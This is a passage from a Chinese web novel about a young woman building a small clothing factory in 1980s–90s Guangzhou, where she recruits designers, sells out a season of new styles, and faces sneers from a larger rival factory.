柳绵绵也是这时候才知道,她俩是纺织服装学校的学生,懂面料和染织技术,还学过服装设计。 听说她们吃完饭后还要去找工作,她就给了她们一个号码,让她们如果没找到工作,就去红绵服装厂试试。 还没开始找呢,就有个机会主动送上门了,方芸芸她们自然是开心得不得了,再三道谢后才结伴走了。 俩人走远后,余国栋忍不住说:“她俩自己去找工作能行吗?” 原先那个工作是方芸芸她哥拿着俩人的学历证明和获奖证书给她们跑下来的,顶好服装厂也算是这一片规模比较大的厂子了。 想来方芸芸的哥哥能那么早就跑来广市挣钱,还能把生意做得那么红火,肯定是个能说会道的活络人,能帮她们找到工作也不奇怪。 她们自己就未必有这个能耐了,说不准还容易被骗被欺负。 反正余国栋是觉得,要是他妹子是这种性格,别说自己跑到广市来找工作了,就算是离开村里去乡里,他都得担心。 柳绵绵摇头失笑:“总得试试吧,不然怎么能进步?” 两个小姑娘其实不笨,就是胆子小了点,性格也软了点,不过这个其实是可以慢慢锻炼出来的。 她倒是想把人招进红绵服装厂,但是他们的厂子目前来说确实规模太小,跟顶好服装厂完全不能相提并论。 说不好人家愿不愿意,所以还不如让她们先试试,要是能找到合适的厂子,那她也替她们高兴,要是找不到合适的选择进红绵服装厂,那自然是再好不过。 而且这个时间不会太久的。 她们既然选择住宾馆,肯定是方芸芸哥哥那边不太方便住人。而她们本来就是奔着找工作来的,自然也不可能工作没找到先去租个房子。住宾馆每天都要花钱,她们肯定会尽快找到工作搬出去的。 兄妹俩回到宾馆时,蒋红梅和刘安民已经等在那里了。 他们约好了今天一起去逛批发市场。 做服装,款式是最重要的,其次就是面料。面料大家的进货渠道都差不多,所以最终决定衣服好不好卖的,主要还是款式。 目前广市那么多大大小小的服装厂,除了一些大的工厂有自己的设计师,会每季度出自己的服装款式,其他的小厂子,版型大部分都是抄的。 毕竟时兴的款式就那几个,大同小异,那么多批发档口,哪个款好卖,几乎是透明的,根本瞒不住。 红绵服装厂暂时也是这个模式,挑一些市面上比较火爆的款式,或者是港剧、港城服装杂志上的款式改一改。 当然,这样是不可能把企业做大的。 所以还是得有设计师,有自己的品牌。 刘安民最近一直在接触一个大厂的设计师,想把她挖过来,或者是让她兼职当一下红绵服装厂的设计师,只不过对方一直没答应,还没下文。 柳绵绵虽然不是服装设计师,但是她知道这个时代流行什么,更知道接下来几年会流行什么,在拥有自己的品牌之前,她觉得红绵服装厂最需要的是一批“爆款”。 是的,一批。 并且要分档次,有走量的快销品,也有中高端的精品。 这也是他们自己留了两个批发档口的原因。 先去批发市场转转,确定一下快销品的款式方向,同时也琢磨一下精品的风格。 转了一圈回来以后,晚上吃饭时柳绵绵就拿出了两张稿纸交给刘安民,让他再去接触一下那位大厂设计师,把这两张稿纸交给她就行,别的什么都不用多说。 刘安民看了眼稿纸,先是瞪大了眼睛,随后又挠挠头,一副疑惑不解的模样。 可惜柳绵绵并没有给他解惑的意思。 后面又逛了两天批发市场,等到了第三天,早晨柳绵绵从房间里出来,就见走廊上站了两个人。 说实话,她有点被吓到。 看清楚是方芸芸和王倩后,她舒了口气,问:“一大早的,你们这是?” 两个人门神一样站在那儿,既不像刚出房间出来,也不像是要走的样子,柳绵绵很快反应过来:“你们是来找我的?” 不过几天时间,方芸芸和王倩看着似乎已经与之前有了些不同。 柳绵绵打量两人一眼,总觉得她们好像黑了一点也瘦了一点,甚至方芸芸眼睛里的光亮似乎都黯淡了一些。 这几天应该没少吃苦。 方芸芸扯出个有些勉强的笑容,声音有点轻,一副底气不足的样子:“绵绵姐,我们、我们想去那个红绵服装厂上班,不过、不过我们怕对方不理睬我们,想着能不能请你帮忙,先给我们探探口风?” 第92章 我们要超过顶好 方芸芸和王倩顺利入职红绵服装厂,不过厂子想要靠这两个初出茅庐的新人打造品牌,自然是不太现实的。所以,刘安民还是继续在接触那位大厂设计师。 那位设计师之前一直不太搭理刘安民。 想也知道,她一个大厂的设计师,有钱有地位,在那边干得好好的,干嘛要来你这么个刚起步的、什么都没有的厂子? 但是这回刘安民把柳绵绵给他的稿纸带过去以后,这位设计师却破天荒表示想和这两张画稿的作者见个面。 刘安民高兴得不得了,立马和对方约了时间。 柳绵绵和对方在红绵服装厂三楼的会议室里见了面。 邓爱琳是一位优雅得体的中年女性,据说她原本是学美术的,改开以后在港城服装厂干过,拜了服装厂的老设计师为师,靠着师傅传授和自己琢磨,学的服装设计。 她半路出家,既不是名校毕业,也不是什么大设计师的传人,自然名气一般。 但是刘安民花了个把月时间收集市场信息,整理下来发现,目前广市所有大服装厂的设计师,包括那些名气大的,数邓爱琳设计的服装卖得最好、爆款最多。 别看他们现在只是一个小小的、不起眼的服装厂,他们的目标可是成为国内顶尖、国际一流的服装公司。 当然,这话是柳绵绵说的。 别人要这么说,刘安民铁定觉得那人是在吹牛,但是柳绵绵这么说,刘安民总觉的这也不是完全不可能。 就说一年前他敢相信自己能成为服装厂领导,拥有那么多资产吗? 那必然不可能啊! 但问题是,现在这就是事实。 所以说,他敢不敢想不重要,他只要相信柳绵绵就行了。 正是抱着这种想法,刘安民在实施“挖墙脚”计划时,自然也是找的他认为的最好的设计师。 而对于被刘安民挖墙角的邓爱琳来说,她其实是有点莫名其妙的。 一个名不见经传的小作坊,竟然挖人挖到她头上来,她简直哭笑不得。 问题是这人还非常的执着,在她拒绝之后,依然几次三番地跑来找她,似乎完全不知道什么叫“放弃”。 邓爱琳被烦得头疼,直接跟厂保卫科说看到这个人就说她不在,结果一次两次后,这人干脆也不问保卫科的人了,直接蹲在厂子外面的守人。 这一次邓爱琳是发了狠,直接跟他说,如果再这样纠缠不休,她就要报警处理了,结果对方掏出两张稿纸,说让她先看看,看了之后还是不能改变想法的话,他也就不再过来了。 邓爱琳心说我怎么可能会改变想法,我绝对不会改变想法……结果看了画稿以后她真的改变了想法。 这两张画稿太美了。 是她在港城有名的服装公司也从未见过的美,并且,有一种超越时代的时尚感。 邓爱琳觉得,大概也就世界时尚之都的那些顶尖设计师们能设计出这样的作品吧。 她一直关注时尚界的信息,确信这不是抄袭某位大师或者是某个大品牌的作品,这两张图稿很美,但从未见过,哪怕相似的也没有。 她对这两张图稿的作者太好奇了,不过更让她好奇的是,红绵服装厂这样的小作坊,手里怎么会有这样的图稿? 总不能是他们厂子里面的设计师画的吧,再说如果他们厂子里已经有了这样的设计师,又哪里用得着这样一次一次跑来请她? 于是邓爱琳还是决定跑一趟。 邓爱琳以为对方年纪应该和她差不多,见面以后才发现是个二十左右的小姑娘,她非常震惊。 “那图真的是你画的?”邓爱琳问。 柳绵绵笑笑,说:“是我和我爱人一起合作的。” 其实是她提供的创意,沈维舟提供的画笔。 她有超越时代的审美,其实就是在现有服装风格的基础上,往前推了推。 倒是没有照抄上辈子某个大设计师的创意,毕竟她也记不住,就算记得住,也不会去照搬。她是利用记忆中的元素进行了再创造,而这种再创造恰恰被沈维舟用画笔完美演绎了出来。 柳绵绵觉得,沈维舟其实是被军工耽误了的艺术家。 他画出来的图稿甚至比她想象中更美。 邓爱琳沉默几秒后说:“既然这样,其实你们并不需要我。” 他们已经有了很好的设计师,邓爱琳并不觉得自己能拿出比这两张画稿更优秀的作品。 柳绵绵真诚道:“恰恰相反,我们真的很需要你。” 她虽然对后世的服装有一定了解,但毕竟不是专业的设计师,是不可能真的承担起设计的工作的。 但她的“先知”又恰恰是红绵服装厂最大的优势。所以服装厂现在最需要的就是一个成熟、优秀的设计师,和她相辅相成,结合她选定的方向,帮助服装厂打造品牌、树立形象。 上辈子柳绵绵也是吃过很多老板画的饼的,所以现在她也非常娴熟地给邓爱琳画着饼。 她了解过邓爱琳所在的服装厂,确实规模很大、效益很好,但同时也存在一个很明显的问题,它的品牌定位很不清晰。 毕竟是大厂子,肯定不止邓爱琳一个设计师,整个设计部门其实有十来个设计师。十来个设计师的设计风格大相径庭,所以厂子一向以货品种类多而出名。 现在市场供不应求,订单非常多,所以没有人觉得这有什么问题。而且这时候大家的品牌意识、风格意识也还没有那么强。但是等到市场竞争愈发激烈,这种模式的弊端就会凸显出来。 至少,想要打造高端品牌,会十分困难。 而对于设计师来说,不能打造出具有较高辨识度的品牌,那就永远不可能成为行业内的一流设计师。 更何况,邓爱琳明显能力很强,但仅仅因为她是女性,厂里任命设计室主任的时候就没有考虑过她,而是给了另一个能力不如她的男设计师。 柳绵绵不相信,一位如此坚韧,一直都在不断提升自己的女性,会心甘情愿接受这种安排。 更多的是无奈吧。 妇女能顶半边天这句话说了这么多年,但是现实中的歧视与不公仍然处处可见。 不过柳绵绵明确表示,红绵服装厂会成为国内顶尖的服装厂,而红绵的设计师,自然也会成为国内乃至国际一流的设计师。 邓爱琳久久没有吭声。 坐在一旁的刘安民和蒋红梅对视一眼,两个人脸上的表情都很复杂。 别说邓爱琳了,他俩都被柳绵绵一席话说得热血沸腾,对红绵服装厂的未来莫名有了非常大的自信。 同时又真的是很佩服柳绵绵,可以在租来的简陋办公楼里这样自信地说,红绵服装厂一定会成为国内顶尖服装厂。 能不能成为国内顶尖的服装厂,邓爱琳其实并不在意,她更在意的是,柳绵绵说的,注册一个品牌作为她的专人设计师品牌,这才是她一直以来无比向往的。 邓爱琳虽然不是专业出身,但其实一直以来她有个梦想,她想成为一流的服装设计师,想用实力为自己正名,即使不是专业出身,照样能成为一流的设计师。 这是她埋在心底的一个心结,平日都被忙碌的工作与生活遮掩,柳绵绵这一番话,就像风吹开了沙子,将沙子底下掩藏的一起暴露了出来。 办公室里安静了许久,只有缝纫机的踩踏声隐隐约约从砖头、水泥和木板之间肉眼无法看出的缝隙中传来,使得屋子里的安静更多了几分让人呼吸发紧的紧张感。 至少刘安民是感觉自己心脏都快蹦到嗓子眼儿了。 他倒不是怕被拒绝,毕竟他已经被拒绝过很多次了,自然是有心理准备的,恰恰相反,他莫名有一种邓爱琳可能真的会答应的直觉,这让他更加的紧张。 终于,邓爱琳开口了:“你说的这些,听上去是夸夸其谈,吹牛不打草稿。” 她微微顿了下,很快地接着说:“但是不可否认,我被你这些夸夸其谈打动了,我觉得我应该给你们,也应该给自己一个机会。” 她说:“就下半年的秋冬装,我们试试吧。” 柳绵绵马上站起来,伸出了手:“邓女士,合作愉快!” 刘安民和蒋红梅也很快反应过来,站了起来:“邓女士合作愉快。” 邓爱琳笑了下,伸出手:“合作愉快。” …… 红绵服装厂之前就有两个设计师,是刘安民从其他小厂子高薪挖来的,后面又有了方芸芸和王倩这两个初出茅庐的中专生,现在还有了邓爱琳这个外援,满打满算,设计师至少有四个半了。 以红绵服装厂目前的规模,说一声“超编”完全不过分。 要知道同等规模的服装厂,人家往往只有一个设计师,抄版嘛,很快的,最多最多也不会超过三个。 反正除了邓爱琳之外的四位设计师压力非常大,生怕服装厂是在搞优胜劣汰,于是从方芸芸和王倩入职开始,四个人就都加班加点地在画稿。 没办法,红绵服装厂的工资是同等规模厂子中最高的,福利待遇有时候连那些大厂子都比不上,他们都不想被“劣汰”掉啊! 于是之后不过一周时间,他们每个人居然都拿出了至少三张的图稿,并且质量还非常高。 目前为止,除了邓爱琳,其他四人的设计,柳绵绵都是给了方向的,他们完成得都挺不错,就连每天咋咋呼呼说自己没思路的方芸芸都交出了让柳绵绵满意的答卷。 窥斑见豹嘛,柳绵绵看过画稿后就放心了。 而且,让人惊喜的是,方芸芸和王倩的能力出人意料的强。 看着怂嗒嗒的两个人,胆子小得要命,设计上却很大胆,最可贵的是,非常有灵气。 柳绵绵觉得自己运气真不错,又捡了两个宝,并且还是两个又勤奋又能卷的宝。 这天柳绵绵带着两个捡来的宝出门去逛批发市场,走到路口就碰到了之前火车上的高颧骨男人。 方芸芸和王倩既然已经入职红绵服装厂,自然也就把顶好服装厂那边回绝了。 高颧骨男人叫何新荣。 那天在厂里看到方芸芸和王倩他正得意呢,就等着俩人入职后,给她们点“厉害”尝尝,结果没几天,就听说这俩人又不来了。 按理萍水相逢,互相之间甚至都不认识,哪怕有过一两句口角,时过境迁应该也就过去了。 但是何新荣一向是个小心眼的人。 一方面他觉得方芸芸和王倩这明显是在躲着他,让他感觉到了男性尊严受到了伤害。虽然这个逻辑有点感人,换个人肯定是不能理解的,但是何新荣确确实实就是这么想的。 另一方面则是他本来想给对方点“厉害”瞧瞧的,结果对方竟然不入职了,何新荣觉得自己有点被“打脸”,自然也很不高兴。 尤其是这俩人竟然又和柳绵绵走在一起。 何新荣觉得特别的憋气,拦住柳绵绵她们就开始阴阳怪气:“不是说你们去红绵服装厂了吗,笑死人了,放着顶好不选,选那种小作坊,有你们后悔的时候。” 柳绵绵抬了抬眸,反问:“你谁啊?” 何新荣:“……” 柳绵绵扭头认真对方芸芸道:“广市外来人口密集,管理上确实挺难,听说治安很一般的,你们俩都记住,以后路上碰见这种看着就不像好人的陌生人突然来搭讪,千万不要理睬,必要的时候,应该尽快寻求旁边的人或者是公安同志的帮助。” 何新荣:“你这个臭哔子,你哔哔的说什么屁话,信不信老子揍死你?!” 柳绵绵淡定道:“看到没有,这种情况就要立刻寻求帮忙了。” 她看了眼方芸芸,方芸芸愣了一下就反应过来了,撒腿就往不远处的派出所跑。 何新荣都惊呆了,色厉内荏道:“你、你们不要想吓唬我,我、我我我什么都没干,公安管不着我。”说完也撒腿就跑。 王倩都看愣了。 柳绵绵戳戳她:“去把方芸芸喊回来。” 这种小事情,就不浪费公安同志的宝贵时间了。 后面仨人逛批发市场的时候,柳绵绵又趁机给她俩打鸡血:“那个丑男为什么那么嚣张,不就是因为顶好服装厂规模大效益好吗,咱们的第一个目标就是,超过顶好服装厂!” 方芸芸和王倩对视一眼,王倩难得主动表态,重重点了下头:“对,我们要超过顶好!” 原来只要去反抗,那些看似嚣张的人,也会落荒而逃。 王倩看向柳绵绵的眼睛亮晶晶的。 第93章 新款卖爆了(修) 红绵服装厂最近非常的忙碌,不但车间里经常加班加点,甚至还在继续招收新的员工,似乎有扩大规模的意思。 附近几个小加工厂倒没怎么关注这个,毕竟大家都忙着打拼,接下来就是秋冬装上市的时候了,他们自己也是忙碌得不行。 再说,红绵服装厂要是能扩大规模,他们其实也是乐见其成的。 大家都是差不多规模的,红绵服装厂要是能扩大规模,岂不是说明市场确实欣欣向荣,他们也有机会继续做大? 倒是顶好服装厂里部分人非常的不满。 像是得知方芸芸和王倩最后去了红绵服装厂的人事主管,觉得红绵服装厂挖墙脚挖到他们头上,实在是太不讲究了。 还有,那两个小姑娘也是,眼睛也不知道是瞎了还是被什么糊住了,就他们顶好这样的规模,对比红绵这样的小作坊,选择谁那不是一目了然的吗? 当然,还有被何新荣挑拨起来的一些人。 “我看他们就是瞎搞,那小作坊才开多久呢,就扩大规模,这不是异想天开吗?” “年轻人嘛,嘴上没毛办事不牢,听说三个合伙人里面,有两个都是女的,娘们儿嘛,头发长见识短的。” “秋冬装利润是高,可成本也高呀,这货要是订不出去,在咱们广市,他们就算是想出去摆摊卖货都卖不出去,哈哈哈。” “哎哟,小何,你就别念叨那个小作坊了,几个臭娘们儿,什么档次啊,哪里值得我们去关注?” “可不是说。” …… 这几人围在一起,抽着何新荣主动分的烟,挥挥手表示有机会肯定会帮着踩两脚红绵服装厂,但是给予太多关注,实在是没必要。 一个小作坊,不值一提。 大肆谈笑的几人并没有注意到,不远处的墙角站着一个剪着一头利落短发的女人,女人微微蹙眉,看着这群满嘴恶臭的男人,片刻,勾唇嘲讽了笑了声。 呵,成天看不起女人,可要不是她这个女人,顶好能拿到那么好的销售渠道,能在众多差点倒闭的国营工厂中脱颖而出,顺利进行改制,一跃成为如今这般规模的大厂? 偏偏,等到厂子到了现在的规模,这些人就把从前的事情都忘记了。 一个个的,都觉得顶好服装厂能有如今的成就,都是因为他们这帮人精明强干、能力出众。 真是可笑。 也挺可悲的。 在这个处处都在改革的年代,或许她也应该把眼光放远一点,不能再固守着顶好这一亩三分地了。 高跟鞋落在地上的声音响起,女人转身回了自己的办公室。 天气虽然还没变冷,但是批发市场里秋冬装已经陆陆续续上市了。 红绵服装厂有自己的批发档口,当然,也有拓展其他的销售渠道,不过目前为止还是以批发档口为主。 小作坊嘛,没有那么大的量。 批发市场里面,有些是自己有厂子的,也有一些是从各个厂子拿货卖的,红绵服装厂批发档口的对面那家何记批发,就是后面一种。 两对面嘛,尤其大家卖的服装品类差不多,多多少少是有点竞争的,所以双方关系一般般。 这天早市结束,柳绵绵和刘安民过来看看情况,刚走到附近就听见何记批发的人在蛐蛐他们。 “听说多备了一倍的货,也不知道哪来的自信,咱们这一片的批发档口,生意都是差不多的,要说生意最好的,还得是你们艾美服饰,哪里轮得到他们啊!几个乡巴佬,真是笑死个人。” “我看呐,用不着半个月,他们就得哭!现在可不是前些年只要有货就有人要的时候了,现在但凡来咱们广市拿货的,谁不得货比三家,看看款式面料?那些粗制滥造的,最后都只能堆在仓库里发霉。” …… 柳绵绵看了眼那个蛐蛐得正起劲的中年女人,大脸盘,高颧骨,啧,跟何新荣还有几分相像。 不过也正常,她姓何,而且听说档口里主要卖顶好和另外一家厂子的衣服,跟何新荣有关系,也是意料之中了。 至于她嘴里的艾美服饰,刘安民也跟她介绍过,据说是整个批发市场里面销量最好的。 柳绵绵倒是没有兴致去跟何记的那位老板娘掰扯,做生意嘛,做得好做得差都是正常的,有人嫉妒有人奚落也都是正常的,这些都没什么的,毕竟最终还是要看实力的。 只要她的货卖爆了,这些人自然会闭嘴。 柳绵绵目不斜视走了过去,脚步踩得又稳又实。 刘安民看一眼那边的几人,跟在柳绵绵身后走了过去。他刚刚差点想冲过去跟那几个人理论几句了,不过柳绵绵一走,他马上就反应了过来,自己还是不够沉得住气。 他们这一季的服装款式都非常好,刘安民很有信心,别说他们只是多备了一倍的货,就算是两倍、三倍,也肯定卖得出去。 第二天就是他们这一季几个主推款上市的时间,天刚蒙蒙亮,一群人就踩着三轮车、推着板车往批发档口赶。 别看才凌晨四点多,批发市场这边已经人声鼎沸,全部都是各个档口送货运货的人。巨大的麻袋包被拖进一个个档口,档口的人再一个个拆开,分门别类整理摆放,就在他们基本整理好的时候,大概五点左右,来自全国各地的商户涌了进来。 柳绵绵手里捏着个饭团,缩坐在档口角落的一个小板凳上,边咬着饭团,边看着几个工作人员整理新款服装,不时听见压抑的惊呼声。 “这件也太好看了吧!” “妈呀,我觉得这件肯定能卖爆!” “你们快看看这条裤子,同样是喇叭裤,它的裤筒怎么这么好看,还有这个皮带,这个搭配得好洋气啊!” …… 柳绵绵勾了勾唇,不愧是他们红绵的员工,瞧瞧这眼光多好。 随着一阵喧闹的人声,档口前很快来了顾客。 第一个上门的是个长得有些富态的大姐,大姐双手拦着挎在胸前的包,大声说:“小卉,你们今天上新款吧,给我看看你们的新款!” 这明显是老客,连工作人员的名字都喊上了。 叫小卉的姑娘回头一看,马上咧嘴笑了:“牛姐你来啦,你说的没错,我们今天上新款,好几个款呢,绝对漂亮,绝对好卖,我这就给你拿来。” 她快手快脚地一把捞起几个新款,抱着拜访到牛大姐面前,顺嘴就介绍上了:“这个长袖连衣裙,接下来稍微凉一点就能穿,单穿也可以,等天气凉一点,外头套个针织开衫,绝对好看。” “这还不止,你看这个面料停厚实的吧?其实再冷一点,外头套个风衣、套个呢大衣更好看。” 小卉顺手又拿出几张照片:“你看,这是我们设计师画的画稿,是不是看上去既高档又洋气?” 牛大姐眼珠子都快瞪出来了:“真好看!拿,这个连衣裙,给我一百件!” 她一把抓住小卉:“妹子,我拿一百件,你这个照片能给我一份吗?” 这种事情要换了其他批发档口肯定是不可能的,但是牛大姐是红绵的老顾客,她是知道的,红绵跟其他批发档口是不一样的,他们这边不止服装态度好,而且服务特别细致,一般只要不是过分的要求,他们都是尽量能满足就满足的。 当然,也是她起得早来得早,现在市场上人还没那么多,要是人多了,人家可能也有心无力。 不出所料,小卉听到牛大姐的要求,不但一点不觉得她事情多,反倒是笑眯眯地说:“我们老板特意让多洗了一些,像您这样的老顾客是肯定要送一份的。”其实老板本来是想做海报的,只不过时间和成本都不允许,只能作罢。 不过小卉觉得,其实就这个照片就已经很不错了,其他档口可不会有这种服务。 牛大姐笑呵呵接过照片,看了两眼,立马小心翼翼放进了挎包里。 她可是瞧见了,这照片其实也不多的,来得早可能能领到,晚了肯定就没有了。 牛大姐觉得这个照片绝对能起大作用,到时候她只要学着小卉说的这些,再给人看一看这个照片,相信没有几个人能忍住不买的。 “牛姐,你看这个照片上的风衣,还有这个呢大衣,也都是我们的新款。这个风衣有三个颜色,这个卡其色,我们老板说这叫经典百搭颜色,不但可以跟连衣裙搭配,搭衬衫搭毛衣都可以的,什么都能搭的。” “还有这个红色,这个红色就更受欢迎了,红红火火,谁不喜欢?下半年结婚的人也多,这个衣服其实结婚也可以穿的,平时可以穿,结婚可以穿,多合适。” …… 小卉极力地推销,牛大姐陆陆续续又购入各色风衣一百五十件、喇叭牛仔裤两百条,还预订了五十件没有现货的呢大衣。 小卉和牛大姐聊得火热,其他几个工作人员也陆陆续续开始招待询问的客人。话术都和小卉的差不多,由于他们每个人态度都很诚恳,倒是不让人觉得反感,反而很快就又有人成交了。 这边每个档口的铺面都挺大,加上服装厂离得也不远,所以批发档口这边并没有另外租商铺,货都是每天直接拉到店里。 于是六点左右开始,红绵批发档口门口就开始不断地有板车在进进出出,大包大包的货物被拆开,又被重新挑选打包,用板车送出去。 一开始大家都忙,其他批发档口倒是也没人发现红绵批发档口生意好得出奇。 等到十点以后,各个批发档口都渐渐闲了下来,其他批发档口的人才惊讶地发现,红绵批发档口前居然依旧挤满了人。 何记的人忙了一早上,终于门前没人了,于是几个工作人员都搬了小板凳在门口坐着休息。 仨姑娘你看看我,我看看你,忍不住小声嘀咕了起来。 “不是,他家今天怎么生意这么好,这都十点多了,还这么多人?!”甲姑娘满脸惊讶。 “听说他家今天上新款,大概老客都收到消息赶过来了吧。”乙姑娘皱皱眉,试图解释。 “不可能,就算是老客赶来那新货,哪个档口有这么多老客的?”丙姑娘斩钉截铁反问。 三个人于是陷入一阵诡异的静默。 既然不是老客,那就只有一种可能,那就是他们家这一季的新款非常好看,吸引了很多新客。 虽然这可能就是真相,但是她们每一个人敢把这个猜测说出来。 毕竟她们什么都没说,她们老板娘就已经一副快被气死的样子了,再借她们三个胆子,她们也不敢这时候往老板娘的火上浇油。 “呸,肯定是备货太多怕压货,故意便宜卖了。”何记老板娘怒气冲冲瞪着对面半天,最后脑子灵光一闪,终于找到了个理由。 说出口以后,她仔细一琢磨,顿时更加觉得自己的猜测非常有道理:“没错,肯定是这样,卖得便宜,所以才那么多人。这些人可真是没眼光,只知道贪小便宜,便宜没好货的道理都不懂的吗?哪像我们的货,都是真材实料,价格高一点,可是东西好啊!” 她坐那儿自言自语碎碎念,三个员工偷偷交换了个各自都懂的眼神,他们老板娘真是一如既往的自信啊! 这种情况一直持续了好几天,何记的人每天闲下来都能看到对面人头攒动,甚至这种“盛况”并没有随着时间的推移而减弱,相反,似乎还有愈演愈烈的态势。 反正围在红绵门口的人头绝对是多了。 她们闲着无聊可是偷偷数过的,人数一直在稳步增长,而且增长幅度还越来越高。 终于有一天,何记老板娘从其他档口的老板那里听说,红绵的销量已经连续三天超过艾美服饰,听说红绵服装厂已经在紧急招人加班加点赶工了,因为他们有好几个款都卖爆了,根本供不应求。 “听说他们那个连衣裙、风衣,还有一款牛仔裤,这三个款全都卖爆了,厂子里生产一件就卖一件,甚至有人干脆就在他们厂子门口等,只要货一生产出来,立马就被抢走了。” “还有还有,听说周边的服装厂都已经偷偷在买他们的那几个爆款,准备拆了偷版呢!这谁能想到啊,红绵服装厂那么个小作坊,竟然也有被同行抢着抄板的时候。” …… 别说何记那位早已羡慕嫉妒得眼睛发红的老板娘了,就连顶好服装厂的那些人,还有那些说酸话的人,这回脸都被打得啪啪响。 第94章 她叫霍英玉,来求职的 秋冬季服装销量是很重要的,这可是一整年利润的大头。衣服价格高利润高是一方面,还有就是华国人的传统,临近过年,总是会找个理由,给自己和家人置办一两身新衣服。 新款上市的这段时间,各个服装厂都在关注各渠道的销量,顶好服装厂自然也是如此。 不过,顶好推出的一系列新款的销量并不太理想,尤其是他们寄予很大希望的一款灯芯绒西服外套,竟然意外地遇冷了。 这让顶好服装厂内部的人非常不理解。 灯芯绒是这几年国内比较流行的面料,他们这款外套也是综合了往年销量较好的几个款式,进行了创新改造,颜色分黑色和红色,尤其这个红色,也是时下女同志比较青睐的猪肝红色,好看,但不扎眼。 虽说目前还是第一批货,主要是试试水,探探市场热度的,但是其实他们对这款服装非常自信,事先已经进了大批量的面料,就准备第一批货上市后,马上就投入第二批货的生产。 结果,这一炮居然没打响,直接哑火了。 要说卖得特别不好,倒是也没有,甚至和其他款式相比,已经算卖得挺好的了,但就是距离他们的预期实在太远了,远到他们都有点迷糊,怀疑是不是之前对市场的调查出了什么问题。 “批发市场那边反馈的情况是,红色外套确实市场需求很大。”销售科黄副科长看了眼科长霍英玉,霍英玉目光垂下,压根儿没跟他对视,他只好硬着头皮说下去,“只不过,红绵服装厂推出了一款正红色的风衣,不少人都选择了那一款。” 他没说的是,据说第一批进货回去的人都卖爆了,所以很快就又回来加单,其他人听说以后,自然也就加入了抢货的队伍,那些人宁可背着包袱在红绵服装厂门口打地铺,也不愿意买他们的货。 红绵服装厂的风衣好看好卖是一方面,但其实还有一方面是,他们这款外套料子成本高,所以价格也高。人家买一件灯芯绒外套的钱,都能买两件风衣了。 没有对比的时候不觉得,一对比,可不就显得人家的东西物美价廉了? “你逗我呢,红绵服装厂,那么个小作坊,能有什么好款式?”设计科的葛科长立马反驳。 生产科的贾科长就更不满了:“就不说款式了,他们料子能有咱们好吗,做工能有咱们精致吗?两个娘们儿搞起来的小作坊,能有什么好东西?” 他一撇嘴,冲黄副科长道:“小黄,你就不要找这种站不住脚的借口了,坐在这儿的,哪个不是在这行混了好多年的?设计好生产好是我们的事情,这卖得好不好,那就是你们销售科的事情。你们可别一推四五六,把责任都甩到我们头上。” 黄副科长简直有苦难言。 销售是重要,可顶好的销售渠道已经非常成熟了,也就是说,只要产品过得去,其实都能卖得出去,至于能不能卖爆,那真的就靠面料款式和做工了。 他们销售科也不可能强买强卖吧? “我们的工作确实已经都尽最大的努力在做了,但是最终还是要顾客买账才行……”黄副科长苦着脸。甚至他们听说对方弄了些衣服搭配的照片,也都学着弄了一些。效果是有一点,但还是非常有限。 正如贾科长所说,大家都在这一行摸爬滚打多年,其实第一批货出得怎么样,这批货能不能成为爆款,现在各自心里都有数了。 只不过就是谁都不愿意承担责任罢了。 “你努力有什么用,那得你们整个科室,所有人都努力!”葛科长意有所指,“有些人不能总是躺在功劳簿上吃老本,也该好好为厂子的发展尽尽力!” 整个会议室一下子安静了下来。 哪怕没有指名道姓,可在座的谁又能听不出这个“有些人”是谁呢? 没错,霍英玉确实为顶好服装厂顺利渡过动荡期立下了汗马功劳,可这毕竟都是过去的事情了,在厂子的销售渠道基本完善后,她这个销售科长就变得可有可无了起来。 有的人觉得她应该继续开疆拓土,助力厂子继续做大做强,有的人则觉得她的能力应该也就是到此为止了,一个女人老是霸占着销售科长的位置,实在是没有眼力见。 这几年霍英玉在厂子里的地位越来越尴尬,当然有人替她觉得不值、不服气,但是更多人觉得她应该自觉一点,调岗到清闲的岗位去,把销售科长这个重要的位置让出来。 因为之前的功劳,厂里领导自然不能过河拆桥,但是像葛科长这样指桑骂槐阴阳怪气的人还是有的。 而这种程度的阴阳怪气,以往霍英玉都是不会理睬的。 黄副科长以为霍英玉这一回也会直接当没听见,赶忙打圆场:“葛科长,我们科室所有人都非常努力,不过我们的工作肯定也有继续进步的空间,会后我们……” 谁知一直没说话的霍英玉这时突然站了起来,打断黄骏:“黄副科长,销售科的工作没有问题,有问题的是设计科和生产科盲目自信,没有经过市场检验,就以为自己的产品天下第一了!” 这一次场内沉默的时间比刚才还要久一些。 就连葛科长和贾科长都因为太过震惊而没有及时反应过来。 多少年了,霍英玉的存在感越来越弱,让大家几乎都忘记了当年那个为了开拓销路能几天几夜不睡觉的“拼命三娘”。 这几年,霍英玉不争不抢,别人阴阳怪气,她也只当没听见,几乎所有人都以为,她是准备就这样守着销售科科长的位置到退休。 既然想要守到退休,自然不好和厂子里其他领导起冲突。 葛科长和贾科长,那都是厂领导面前的红人。 哪里想到,霍英玉会直接冲着这俩人开喷? 这可真是,一点面子都没给他们留啊! 葛科长终于反应过来,气得脸色通红:“霍英玉,为了推卸责任,你是脸都不要了吗?” 贾科长也反应过来了,脸色难看道:“霍英玉,你要为你说的话负责任!我们辛辛苦苦生产产品,你呢,你们销售科干了什么?维护客户,呵,我们的产品年年供不应求,人家都是主动打电话来求发货的,接几个电话就敢说自己维护客户了?!” 相比他俩一副怒不可遏的样子,霍英玉倒是异常地冷静。 她冷冷瞥他们一眼,说:“抄一抄往年销量最好的款式,再抄一抄港城杂志上的款式,都好意思说自己是设计科,我们有什么不好意思的?” 葛科长差点气吐血,明明是老贾职责他们销售科就是接几个电话,霍英玉不攻击老贾,倒是攻击上他了。 不过没等他说什么,霍英玉马上继续:“还有你们生产科,衣服是你们生产出来的吗?料子是几位大师傅裁的,缝纫机是工人们踩的,关你们屁事?!调查个市场数据都调查不清楚,每次采购原材料都是拍脑袋定的数量,你们也好意思说自己是生产科?我看叫喝酒科还差不多!” 今天这个会议其实是个各部门中层的碰头会,为的是商量个对策,好向厂里领导汇报。 结果谁也没想到,这碰头会竟然真的硬碰硬地“碰撞”上了。 其他的科长、副科长、车间主任、副主任们简直目瞪口呆。 尤其是霍英玉句句都戳在了设计科和生产科的痛处上。 生产科负责生产计划制定和材料采购工作,原材料工厂自然要时常上门“维护关系”,喝酒吃饭那都是最基本的,说生产科是喝酒科,是真的一点不冤枉他们。 至于设计科,葛科长自己就是靠着抄版起家的,带的几个徒弟自然也是抄版的一把好手,平时没人提这一茬倒也没觉得怎么样,但被霍英玉这么一说,感觉就有点怪怪的了。 